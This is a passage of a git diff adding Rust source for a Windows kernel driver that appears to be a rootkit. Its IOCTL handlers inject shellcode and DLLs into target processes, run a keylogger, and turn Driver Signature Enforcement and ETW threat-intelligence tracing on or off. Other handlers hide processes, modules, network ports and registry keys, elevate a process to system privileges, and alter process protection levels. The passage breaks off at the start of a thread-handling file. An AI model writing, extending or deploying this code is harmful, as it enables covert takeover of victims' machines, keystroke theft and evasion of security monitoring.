||||||
|
(*irp).IoStatus.Information = size_of::<TargetDriver>() as u64;
|
||||||
|
Ok(status)
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
|
||||||
|
// Enumerating active drivers on the system.
|
||||||
|
ioctls.register_handler(ENUMERATE_DRIVER, Box::new(|irp: *mut IRP, _: *mut IO_STACK_LOCATION| {
|
||||||
|
unsafe {
|
||||||
|
// Get the output buffer for returning the driver information.
|
||||||
|
let driver_info = get_output_buffer::<DriverInfo>(irp)?;
|
||||||
|
|
||||||
|
// Enumerate the drivers currently loaded in the system.
|
||||||
|
let drivers = shadowx::Driver::enumerate_driver()?;
|
||||||
|
|
||||||
|
// Copy driver information into the output buffer.
|
||||||
|
for (index, module) in drivers.iter().enumerate() {
|
||||||
|
let info_ptr = driver_info.add(index);
|
||||||
|
|
||||||
|
// Copy the driver name and other information.
|
||||||
|
core::ptr::copy_nonoverlapping(module.name.as_ptr(), (*info_ptr).name.as_mut_ptr(), module.name.len());
|
||||||
|
(*info_ptr).address = module.address;
|
||||||
|
(*info_ptr).index = index as u8;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Set the size of the returned information.
|
||||||
|
(*irp).IoStatus.Information = (drivers.len() * size_of::<DriverInfo>()) as u64;
|
||||||
|
Ok(STATUS_SUCCESS)
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
}
|
||||||
85
driver/src/modules/injection.rs
Normal file
85
driver/src/modules/injection.rs
Normal file
@@ -0,0 +1,85 @@
|
|||||||
|
use {
|
||||||
|
alloc::boxed::Box,
|
||||||
|
wdk_sys::{IO_STACK_LOCATION, IRP},
|
||||||
|
};
|
||||||
|
|
||||||
|
use {
|
||||||
|
crate::utils::{
|
||||||
|
get_input_buffer,
|
||||||
|
ioctls::IoctlManager
|
||||||
|
},
|
||||||
|
common::{
|
||||||
|
structs::TargetInjection,
|
||||||
|
ioctls::{
|
||||||
|
INJECTION_DLL_THREAD,
|
||||||
|
INJECTION_SHELLCODE_APC,
|
||||||
|
INJECTION_SHELLCODE_THREAD,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
/// Registers the IOCTL handlers for injection-related operations.
|
||||||
|
///
|
||||||
|
/// This function registers IOCTL handlers for different types of code injection operations
|
||||||
|
/// (shellcode injection and DLL injection). Each type of injection is associated with its
|
||||||
|
/// respective IOCTL code.
|
||||||
|
///
|
||||||
|
/// # Supported Injection Types:
|
||||||
|
///
|
||||||
|
/// * **INJECTION_SHELLCODE_THREAD** - Shellcode injection using a new thread created via `ZwCreateThreadEx`.
|
||||||
|
/// * **INJECTION_SHELLCODE_APC** - Shellcode injection using APC (Asynchronous Procedure Call).
|
||||||
|
/// * **INJECTION_DLL_THREAD** - DLL injection using `ZwCreateThreadEx`.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `ioctls` - A mutable reference to an `IoctlManager` where the injection-related
|
||||||
|
/// IOCTL handlers will be registered.
|
||||||
|
pub fn register_injection_ioctls(ioctls: &mut IoctlManager) {
|
||||||
|
// Shellcode injection using a new thread (ZwCreateThreadEx).
|
||||||
|
ioctls.register_handler(INJECTION_SHELLCODE_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| {
|
||||||
|
unsafe {
|
||||||
|
// Get the input buffer with the injection data.
|
||||||
|
let input_buffer = get_input_buffer::<TargetInjection>(stack)?;
|
||||||
|
let pid = (*input_buffer).pid;
|
||||||
|
let path = (*input_buffer).path.as_str();
|
||||||
|
|
||||||
|
// Set the size of the returned information.
|
||||||
|
(*irp).IoStatus.Information = size_of::<TargetInjection>() as u64;
|
||||||
|
|
||||||
|
// Perform shellcode injection using a new thread.
|
||||||
|
shadowx::Shellcode::injection_thread(pid, path)
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
|
||||||
|
// Shellcode injection via APC (Asynchronous Procedure Call).
|
||||||
|
ioctls.register_handler(INJECTION_SHELLCODE_APC, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| {
|
||||||
|
unsafe {
|
||||||
|
// Get the input buffer with the injection data.
|
||||||
|
let input_buffer = get_input_buffer::<TargetInjection>(stack)?;
|
||||||
|
let pid = (*input_buffer).pid;
|
||||||
|
let path = (*input_buffer).path.as_str();
|
||||||
|
|
||||||
|
// Set the size of the returned information.
|
||||||
|
(*irp).IoStatus.Information = size_of::<TargetInjection>() as u64;
|
||||||
|
|
||||||
|
// Perform shellcode injection via APC.
|
||||||
|
shadowx::Shellcode::injection_apc(pid, path)
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
|
||||||
|
// DLL injection using a new thread (ZwCreateThreadEx).
|
||||||
|
ioctls.register_handler(INJECTION_DLL_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| {
|
||||||
|
unsafe {
|
||||||
|
// Get the input buffer with the injection data.
|
||||||
|
let input_buffer = get_input_buffer::<TargetInjection>(stack)?;
|
||||||
|
let pid = (*input_buffer).pid;
|
||||||
|
let path = (*input_buffer).path.as_str();
|
||||||
|
|
||||||
|
// Set the size of the returned information.
|
||||||
|
(*irp).IoStatus.Information = size_of::<TargetInjection>() as u64;
|
||||||
|
|
||||||
|
// Perform DLL injection using a new thread.
|
||||||
|
shadowx::DLL::injection_dll_thread(pid, path)
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
}
|
||||||
98
driver/src/modules/misc.rs
Normal file
98
driver/src/modules/misc.rs
Normal file
@@ -0,0 +1,98 @@
|
|||||||
|
use {
|
||||||
|
log::error,
|
||||||
|
alloc::boxed::Box,
|
||||||
|
wdk_sys::{
|
||||||
|
IO_STACK_LOCATION, IRP,
|
||||||
|
STATUS_SUCCESS, STATUS_UNSUCCESSFUL
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
use {
|
||||||
|
crate::utils::{
|
||||||
|
ioctls::IoctlManager,
|
||||||
|
get_input_buffer
|
||||||
|
},
|
||||||
|
common::{
|
||||||
|
ioctls::{ENABLE_DSE, ETWTI, KEYLOGGER},
|
||||||
|
structs::{DSE, ETWTI}
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
/// Holds the user-mode address for keylogger functionality.
|
||||||
|
///
|
||||||
|
/// This static variable stores the address returned by the keylogger to map
|
||||||
|
/// kernel memory to user space.
|
||||||
|
pub static mut USER_ADDRESS: usize = 0;
|
||||||
|
|
||||||
|
/// Registers the IOCTL handlers for miscellaneous operations.
|
||||||
|
///
|
||||||
|
/// This function registers handlers for several miscellaneous operations, such as enabling or disabling
|
||||||
|
/// Driver Signature Enforcement (DSE), enabling/disabling ETW tracing, and starting a keylogger.
|
||||||
|
///
|
||||||
|
/// # Supported IOCTLs
|
||||||
|
///
|
||||||
|
/// * **ENABLE_DSE** - Enables or disables Driver Signature Enforcement (DSE).
|
||||||
|
/// * **KEYLOGGER** - Retrieves the user-mode address for the keylogger functionality.
|
||||||
|
/// * **ETWTI** - Enables or disables ETW tracing.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `ioctls` - A mutable reference to an `IoctlManager` where the IOCTL handlers will be registered.
|
||||||
|
pub fn register_misc_ioctls(ioctls: &mut IoctlManager) {
|
||||||
|
// Enable/Disable DSE (Driver Signature Enforcement).
|
||||||
|
ioctls.register_handler(ENABLE_DSE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| {
|
||||||
|
unsafe {
|
||||||
|
// Get the input buffer containing DSE information.
|
||||||
|
let target_dse = get_input_buffer::<DSE>(stack)?;
|
||||||
|
|
||||||
|
// Call to enable or disable DSE based on the input.
|
||||||
|
let status = shadowx::Dse::set_dse_state((*target_dse).enable)?;
|
||||||
|
|
||||||
|
// Set the number of bytes returned to the size of the ETWTI structure.
|
||||||
|
(*irp).IoStatus.Information = size_of::<ETWTI>() as u64;
|
||||||
|
Ok(status)
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
|
||||||
|
// Start Keylogger: Maps the address for keylogger functionality to user space.
|
||||||
|
ioctls.register_handler(KEYLOGGER, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| {
|
||||||
|
unsafe {
|
||||||
|
// If the USER_ADDRESS has not been set, retrieve it using the keylogger function.
|
||||||
|
if USER_ADDRESS == 0 {
|
||||||
|
USER_ADDRESS = match shadowx::Keylogger::get_user_address_keylogger() {
|
||||||
|
Ok(addr) => addr as usize,
|
||||||
|
Err(err) => {
|
||||||
|
// Log the error and return a failure status if keylogger setup fails.
|
||||||
|
error!("Error get_user_address_keylogger: {err}");
|
||||||
|
return Ok(STATUS_UNSUCCESSFUL);
|
||||||
|
},
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
// Write the USER_ADDRESS to the output buffer provided by the IRP.
|
||||||
|
let output_buffer = (*irp).AssociatedIrp.SystemBuffer;
|
||||||
|
if !output_buffer.is_null() {
|
||||||
|
*(output_buffer as *mut usize) = USER_ADDRESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Set the number of bytes returned to the size of a `usize`.
|
||||||
|
(*irp).IoStatus.Information = size_of::<usize>() as u64;
|
||||||
|
Ok(STATUS_SUCCESS)
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
|
||||||
|
// Enable/Disable ETWTI.
|
||||||
|
ioctls.register_handler(ETWTI, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| {
|
||||||
|
unsafe {
|
||||||
|
// Get the input buffer containing ETW tracing information.
|
||||||
|
let target_etw = get_input_buffer::<ETWTI>(stack)?;
|
||||||
|
|
||||||
|
// Call to enable or disable ETW tracing based on the input.
|
||||||
|
let status = shadowx::Etw::etwti_enable_disable((*target_etw).enable)?;
|
||||||
|
|
||||||
|
// Set the number of bytes returned to the size of the ETWTI structure.
|
||||||
|
(*irp).IoStatus.Information = size_of::<ETWTI>() as u64;
|
||||||
|
Ok(status)
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
}
|
||||||
22
driver/src/modules/mod.rs
Normal file
22
driver/src/modules/mod.rs
Normal file
@@ -0,0 +1,22 @@
|
|||||||
|
#[cfg(not(feature = "mapper"))]
|
||||||
|
pub mod registry;
|
||||||
|
#[cfg(not(feature = "mapper"))]
|
||||||
|
pub use registry::*;
|
||||||
|
|
||||||
|
pub mod misc;
|
||||||
|
pub mod module;
|
||||||
|
pub mod port;
|
||||||
|
pub mod injection;
|
||||||
|
pub mod callback;
|
||||||
|
pub mod driver;
|
||||||
|
pub mod process;
|
||||||
|
pub mod thread;
|
||||||
|
|
||||||
|
pub use misc::*;
|
||||||
|
pub use module::*;
|
||||||
|
pub use port::*;
|
||||||
|
pub use injection::*;
|
||||||
|
pub use callback::*;
|
||||||
|
pub use driver::*;
|
||||||
|
pub use process::*;
|
||||||
|
pub use thread::*;
|
||||||
80
driver/src/modules/module.rs
Normal file
80
driver/src/modules/module.rs
Normal file
@@ -0,0 +1,80 @@
|
|||||||
|
use {
|
||||||
|
alloc::boxed::Box,
|
||||||
|
wdk_sys::{
|
||||||
|
IO_STACK_LOCATION, IRP,
|
||||||
|
STATUS_SUCCESS
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
use {
|
||||||
|
crate::utils::{
|
||||||
|
ioctls::IoctlManager,
|
||||||
|
get_input_buffer, get_output_buffer
|
||||||
|
},
|
||||||
|
common::{
|
||||||
|
ioctls::{ENUMERATE_MODULE, HIDE_MODULE},
|
||||||
|
structs::{
|
||||||
|
TargetModule,
|
||||||
|
ModuleInfo, TargetProcess,
|
||||||
|
}
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
/// Registers the IOCTL handlers for module-related operations.
|
||||||
|
///
|
||||||
|
/// This function registers handlers to manage module-related operations such as enumerating
|
||||||
|
/// loaded modules in a target process and hiding specific modules. These handlers are associated
|
||||||
|
/// with specific IOCTL codes and provide functionality based on the requested module operations.
|
||||||
|
///
|
||||||
|
/// The following IOCTL operations are supported:
|
||||||
|
///
|
||||||
|
/// * **ENUMERATE_MODULE** - Retrieves the list of loaded modules in the target process.
|
||||||
|
/// * **HIDE_MODULE** - Hides a specific module in the target process.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `ioctls` - A mutable reference to an `IoctlManager` where the module-related IOCTL handlers will be registered.
|
||||||
|
pub fn register_module_ioctls(ioctls: &mut IoctlManager) {
|
||||||
|
// Enumerate loaded modules in the target process.
|
||||||
|
ioctls.register_handler(ENUMERATE_MODULE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| {
|
||||||
|
unsafe {
|
||||||
|
// Get the target process from the input buffer.
|
||||||
|
let target_process = get_input_buffer::<TargetProcess>(stack)?;
|
||||||
|
let module_info = get_output_buffer::<ModuleInfo>(irp)?;
|
||||||
|
let pid = (*target_process).pid;
|
||||||
|
|
||||||
|
// Enumerate modules in the process.
|
||||||
|
let modules = shadowx::Module::enumerate_module(pid)?;
|
||||||
|
|
||||||
|
// Populate the output buffer with module information.
|
||||||
|
for (index, module) in modules.iter().enumerate() {
|
||||||
|
let info_ptr = module_info.add(index);
|
||||||
|
|
||||||
|
// Copy module name and populate module information.
|
||||||
|
core::ptr::copy_nonoverlapping(module.name.as_ptr(), (*info_ptr).name.as_mut_ptr(), module.name.len());
|
||||||
|
(*info_ptr).address = module.address;
|
||||||
|
(*info_ptr).index = index as u8;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Update IoStatus with the number of modules enumerated.
|
||||||
|
(*irp).IoStatus.Information = (modules.len() * size_of::<ModuleInfo>()) as u64;
|
||||||
|
|
||||||
|
Ok(STATUS_SUCCESS)
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
|
||||||
|
// Hide a specific module in the target process.
|
||||||
|
ioctls.register_handler(HIDE_MODULE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| {
|
||||||
|
unsafe {
|
||||||
|
// Get the target module information from the input buffer.
|
||||||
|
let target = get_input_buffer::<TargetModule>(stack)?;
|
||||||
|
|
||||||
|
// Hide the module based on the PID and module name.
|
||||||
|
let status = shadowx::Module::hide_module((*target).pid, &(*target).module_name)?;
|
||||||
|
|
||||||
|
// Update IoStatus to indicate success.
|
||||||
|
(*irp).IoStatus.Information = size_of::<ModuleInfo>() as u64;
|
||||||
|
Ok(status)
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
}
|
||||||
66
driver/src/modules/port.rs
Normal file
66
driver/src/modules/port.rs
Normal file
@@ -0,0 +1,66 @@
|
|||||||
|
use {
|
||||||
|
alloc::boxed::Box,
|
||||||
|
shadowx::{Port, port},
|
||||||
|
core::sync::atomic::Ordering,
|
||||||
|
wdk_sys::{IO_STACK_LOCATION, IRP, NT_SUCCESS},
|
||||||
|
};
|
||||||
|
|
||||||
|
use {
|
||||||
|
crate::utils::{
|
||||||
|
ioctls::IoctlManager,
|
||||||
|
get_input_buffer
|
||||||
|
},
|
||||||
|
common::{
|
||||||
|
ioctls::HIDE_PORT,
|
||||||
|
structs::TargetPort
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
/// Registers the IOCTL handlers for port-related operations.
|
||||||
|
///
|
||||||
|
/// This function registers a handler to manage port-related operations, such as adding or removing
|
||||||
|
/// ports from the protected ports list. Additionally, it manages the installation and uninstallation
|
||||||
|
/// of a hook into the `Nsiproxy` driver when necessary.
|
||||||
|
///
|
||||||
|
/// # Supported IOCTL Operation:
|
||||||
|
///
|
||||||
|
/// * **HIDE_PORT** - Handles the hide/unhide of ports by toggling their presence in the protected list.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `ioctls` - A mutable reference to an `IoctlManager`, where the port-related IOCTL handler will be registered.
|
||||||
|
pub fn register_port_ioctls(ioctls: &mut IoctlManager) {
|
||||||
|
// Handle port protection: hide port by toggling its status in the protected ports list.
|
||||||
|
ioctls.register_handler(HIDE_PORT, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION| {
|
||||||
|
unsafe {
|
||||||
|
// Lock the list of protected ports to check if it's empty.
|
||||||
|
let protected_ports = port::PROTECTED_PORTS.lock();
|
||||||
|
|
||||||
|
// If the list is empty and the hook is not installed, install the hook.
|
||||||
|
if protected_ports.is_empty() && !port::HOOK_INSTALLED.load(Ordering::Relaxed) {
|
||||||
|
Port::install_hook();
|
||||||
|
}
|
||||||
|
|
||||||
|
// Unlock the ports list.
|
||||||
|
drop(protected_ports);
|
||||||
|
|
||||||
|
// Get the target port from the input buffer.
|
||||||
|
let target_port = get_input_buffer::<TargetPort>(stack)?;
|
||||||
|
|
||||||
|
// Add or remove the target port from the protected list.
|
||||||
|
let status = port::add_remove_port_toggle(target_port);
|
||||||
|
|
||||||
|
// If the operation was successful and the list is now empty, uninstall the hook.
|
||||||
|
if NT_SUCCESS(status) {
|
||||||
|
let protected_ports = port::PROTECTED_PORTS.lock();
|
||||||
|
if protected_ports.is_empty() && port::HOOK_INSTALLED.load(Ordering::Relaxed) {
|
||||||
|
Port::uninstall_hook();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Set the number of bytes returned to the size of `TargetPort`.
|
||||||
|
(*irp).IoStatus.Information = size_of::<TargetPort>() as u64;
|
||||||
|
Ok(status)
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
}
|
||||||
180
driver/src/modules/process.rs
Normal file
180
driver/src/modules/process.rs
Normal file
@@ -0,0 +1,180 @@
|
|||||||
|
use {
|
||||||
|
wdk_sys::*,
|
||||||
|
core::sync::atomic::{AtomicPtr, Ordering},
|
||||||
|
alloc::{
|
||||||
|
boxed::Box,
|
||||||
|
string::ToString
|
||||||
|
},
|
||||||
|
shadowx::{
|
||||||
|
Process, error::ShadowError,
|
||||||
|
PROCESS_INFO_HIDE,
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
use {
|
||||||
|
crate::utils::{
|
||||||
|
ioctls::IoctlManager,
|
||||||
|
get_input_buffer,
|
||||||
|
get_output_buffer
|
||||||
|
},
|
||||||
|
common::{
|
||||||
|
ioctls::*,
|
||||||
|
enums::Options,
|
||||||
|
structs::TargetProcess
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
/// Registers the IOCTL handlers for process-related operations.
|
||||||
|
///
|
||||||
|
/// This function registers various IOCTL handlers for managing process-related operations,
|
||||||
|
/// such as elevating privileges, hiding/unhiding processes, terminating processes, modifying
|
||||||
|
/// process protection, and enumerating hidden processes. These handlers are mapped to specific
|
||||||
|
/// IOCTL codes and provide functionality based on the type of operation requested by the user.
|
||||||
|
///
|
||||||
|
/// The following IOCTL operations are supported:
|
||||||
|
///
|
||||||
|
/// * **ELEVATE_PROCESS** - Elevates the privileges of the specified process to system privileges.
|
||||||
|
/// * **HIDE_UNHIDE_PROCESS** - Hides or unhides a specified process, depending on the input.
|
||||||
|
/// * **TERMINATE_PROCESS** - Terminates the specified process.
|
||||||
|
/// * **SIGNATURE_PROCESS** - Modifies the protection signature (PP/PPL) of a process.
|
||||||
|
/// * **ENUMERATION_PROCESS** - Lists processes that are currently hidden or protected.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `ioctls` - A mutable reference to an `IoctlManager` where the process-related IOCTL handlers will be registered.
|
||||||
|
pub fn register_process_ioctls(ioctls: &mut IoctlManager) {
|
||||||
|
// Elevates the privileges of a specific process.
|
||||||
|
ioctls.register_handler(ELEVATE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
|
unsafe {
|
||||||
|
// Retrieves the process information from the input buffer.
|
||||||
|
let target_process = get_input_buffer::<TargetProcess>(stack)?;
|
||||||
|
let pid = (*target_process).pid;
|
||||||
|
|
||||||
|
// Update the IoStatus with the size of the process information.
|
||||||
|
(*irp).IoStatus.Information = size_of::<TargetProcess>() as u64;
|
||||||
|
|
||||||
|
// Elevates the process privileges.
|
||||||
|
Process::elevate_process(pid)
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
|
||||||
|
// Hide or Unhide the specified process.
|
||||||
|
ioctls.register_handler(HIDE_UNHIDE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
|
unsafe {
|
||||||
|
// Retrieves the process information from the input buffer.
|
||||||
|
let target_process = get_input_buffer::<TargetProcess>(stack)?;
|
||||||
|
let pid = (*target_process).pid;
|
||||||
|
|
||||||
|
// Hide or unhide the process based on the 'enable' flag.
|
||||||
|
let status = if (*target_process).enable {
|
||||||
|
// Hides the process and stores its previous state.
|
||||||
|
let previous_list = Process::hide_process(pid)?;
|
||||||
|
let mut process_info = PROCESS_INFO_HIDE.lock();
|
||||||
|
let list_ptr = Box::into_raw(Box::new(previous_list));
|
||||||
|
|
||||||
|
process_info.push(TargetProcess {
|
||||||
|
pid,
|
||||||
|
list_entry: AtomicPtr::new(list_ptr as *mut _),
|
||||||
|
..Default::default()
|
||||||
|
});
|
||||||
|
|
||||||
|
STATUS_SUCCESS
|
||||||
|
} else {
|
||||||
|
// Unhides the process.
|
||||||
|
let list_entry = PROCESS_INFO_HIDE.lock()
|
||||||
|
.iter()
|
||||||
|
.find(|p| p.pid == pid)
|
||||||
|
.map(|process| process.list_entry.load(Ordering::SeqCst))
|
||||||
|
.ok_or(ShadowError::ProcessNotFound(pid.to_string()))?;
|
||||||
|
|
||||||
|
Process::unhide_process(pid, list_entry as *mut _)?
|
||||||
|
};
|
||||||
|
|
||||||
|
// Updates the IoStatus and returns the result of the operation.
|
||||||
|
(*irp).IoStatus.Information = size_of::<TargetProcess>() as u64;
|
||||||
|
Ok(status)
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
|
||||||
|
// Terminates the specified process.
|
||||||
|
ioctls.register_handler(TERMINATE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
|
unsafe {
|
||||||
|
// Retrieves the process information from the input buffer.
|
||||||
|
let target_process = get_input_buffer::<TargetProcess>(stack)?;
|
||||||
|
let pid = (*target_process).pid;
|
||||||
|
|
||||||
|
// Update the IoStatus with the size of the process information.
|
||||||
|
(*irp).IoStatus.Information = size_of::<TargetProcess>() as u64;
|
||||||
|
|
||||||
|
// Terminates the process.
|
||||||
|
Process::terminate_process(pid)
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
|
||||||
|
// Modifies the PP/PPL (Protection Signature) of a process.
|
||||||
|
ioctls.register_handler(SIGNATURE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
|
unsafe {
|
||||||
|
// Retrieves the process information from the input buffer.
|
||||||
|
let target_process = get_input_buffer::<TargetProcess>(stack)?;
|
||||||
|
let pid = (*target_process).pid;
|
||||||
|
let sg = (*target_process).sg;
|
||||||
|
let tp = (*target_process).tp;
|
||||||
|
|
||||||
|
// Updates the IoStatus with the size of the process information.
|
||||||
|
(*irp).IoStatus.Information = size_of::<TargetProcess>() as u64;
|
||||||
|
|
||||||
|
// Modify the process's protection signature.
|
||||||
|
Process::protection_signature(pid, sg, tp)
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
|
||||||
|
// Lists hidden and protected processes.
|
||||||
|
ioctls.register_handler(ENUMERATION_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
|
unsafe {
|
||||||
|
// Retrieves the output buffer to store process information.
|
||||||
|
let output_buffer = get_output_buffer::<TargetProcess>(irp)?;
|
||||||
|
let input_target = get_input_buffer::<TargetProcess>(stack)?;
|
||||||
|
|
||||||
|
// Based on the options, either enumerate hidden or protected processes.
|
||||||
|
let processes = match (*input_target).options {
|
||||||
|
Options::Hide => Process::enumerate_hide_processes(),
|
||||||
|
#[cfg(not(feature = "mapper"))]
|
||||||
|
Options::Protection => shadowx::ProcessCallback::enumerate_protection_processes(),
|
||||||
|
};
|
||||||
|
|
||||||
|
// Fill the output buffer with the enumerated processes' information.
|
||||||
|
for (index, process) in processes.iter().enumerate() {
|
||||||
|
let info_ptr = output_buffer.add(index);
|
||||||
|
(*info_ptr).pid = process.pid;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Updates the IoStatus with the size of the enumerated processes.
|
||||||
|
(*irp).IoStatus.Information = (processes.len() * size_of::<TargetProcess>()) as u64;
|
||||||
|
Ok(STATUS_SUCCESS)
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
|
||||||
|
// If the `mapper` feature is not enabled, register protection handlers.
|
||||||
|
#[cfg(not(feature = "mapper"))] {
|
||||||
|
// Add or remove shutdown/memory dump protection for a process.
|
||||||
|
ioctls.register_handler(PROTECTION_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
|
unsafe {
|
||||||
|
// Retrieves the process information from the input buffer.
|
||||||
|
let process_protection = get_input_buffer::<TargetProcess>(stack)?;
|
||||||
|
let pid = (*process_protection).pid;
|
||||||
|
let enable = (*process_protection).enable;
|
||||||
|
|
||||||
|
// Adds or removes protection for the process based on the 'enable' flag.
|
||||||
|
let status = if enable {
|
||||||
|
shadowx::ProcessCallback::add_target_pid(pid)
|
||||||
|
} else {
|
||||||
|
shadowx::ProcessCallback::remove_target_pid(pid)
|
||||||
|
};
|
||||||
|
|
||||||
|
// Updates the IoStatus with the size of the process information.
|
||||||
|
(*irp).IoStatus.Information = size_of::<TargetProcess>() as u64;
|
||||||
|
Ok(status)
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
}
|
||||||
|
}
|
||||||
78
driver/src/modules/registry.rs
Normal file
78
driver/src/modules/registry.rs
Normal file
@@ -0,0 +1,78 @@
|
|||||||
|
#![cfg(not(feature = "mapper"))]
|
||||||
|
|
||||||
|
use {
|
||||||
|
wdk_sys::*,
|
||||||
|
shadowx::registry::utils::Type,
|
||||||
|
alloc::boxed::Box,
|
||||||
|
};
|
||||||
|
|
||||||
|
use {
|
||||||
|
crate::utils::{
|
||||||
|
get_input_buffer,
|
||||||
|
ioctls::IoctlManager
|
||||||
|
},
|
||||||
|
common::{
|
||||||
|
structs::TargetRegistry,
|
||||||
|
ioctls::{
|
||||||
|
HIDE_UNHIDE_KEY,
|
||||||
|
HIDE_UNHIDE_VALUE,
|
||||||
|
REGISTRY_PROTECTION_KEY,
|
||||||
|
REGISTRY_PROTECTION_VALUE
|
||||||
|
},
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
/// Registers the IOCTL handlers for registry-related operations.
|
||||||
|
///
|
||||||
|
/// This function inserts two IOCTL handlers into the provided `HashMap`, associating them with
|
||||||
|
/// their respective IOCTL codes. The two operations supported are:
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `ioctls` - A mutable reference to a `HashMap<u32, IoctlHandler>` where the registry-related
|
||||||
|
/// IOCTL handlers will be inserted.
|
||||||
|
pub fn register_registry_ioctls(ioctls: &mut IoctlManager) {
|
||||||
|
// Adding protection for registry key values.
|
||||||
|
ioctls.register_handler(REGISTRY_PROTECTION_VALUE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
|
unsafe {
|
||||||
|
let target_registry = get_input_buffer::<TargetRegistry>(stack)?;
|
||||||
|
let status = shadowx::Registry::modify_key_value(target_registry, Type::Protect);
|
||||||
|
|
||||||
|
(*irp).IoStatus.Information = size_of::<TargetRegistry>() as u64;
|
||||||
|
Ok(status)
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
|
||||||
|
// Added protection for registry keys.
|
||||||
|
ioctls.register_handler(REGISTRY_PROTECTION_KEY, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
|
unsafe {
|
||||||
|
let target_registry = get_input_buffer::<TargetRegistry>(stack)?;
|
||||||
|
let status = shadowx::Registry::modify_key(target_registry, Type::Protect);
|
||||||
|
|
||||||
|
(*irp).IoStatus.Information = size_of::<TargetRegistry>() as u64;
|
||||||
|
Ok(status)
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
|
||||||
|
// Handles IOCTL to hide or unhide a registry key.
|
||||||
|
ioctls.register_handler(HIDE_UNHIDE_KEY, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
|
unsafe {
|
||||||
|
let target_registry = get_input_buffer::<TargetRegistry>(stack)?;
|
||||||
|
let status = shadowx::Registry::modify_key(target_registry, Type::Hide);
|
||||||
|
|
||||||
|
(*irp).IoStatus.Information = size_of::<TargetRegistry>() as u64;
|
||||||
|
Ok(status)
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
|
||||||
|
// Handles IOCTL to hide or unhide a registry value.
|
||||||
|
ioctls.register_handler(HIDE_UNHIDE_VALUE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
|
unsafe {
|
||||||
|
let target_registry = get_input_buffer::<TargetRegistry>(stack)?;
|
||||||
|
let status = shadowx::Registry::modify_key_value(target_registry, Type::Hide);
|
||||||
|
|
||||||
|
(*irp).IoStatus.Information = size_of::<TargetRegistry>() as u64;
|
||||||
|
Ok(status)
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
}
|
||||||
125
driver/src/modules/thread.rs
Normal file
125
driver/src/modules/thread.rs
Normal file
@@ -0,0 +1,125 @@
|
|||||||
|
use {
|
||||||
|
alloc::boxed::Box,
|
||||||
|
core::sync::atomic::{AtomicPtr, Ordering},
|
||||||
|
wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS},
|
||||||
|
shadowx::{
|
||||||
|
Thread,
|
||||||
|
THREAD_INFO_HIDE,
|
||||||
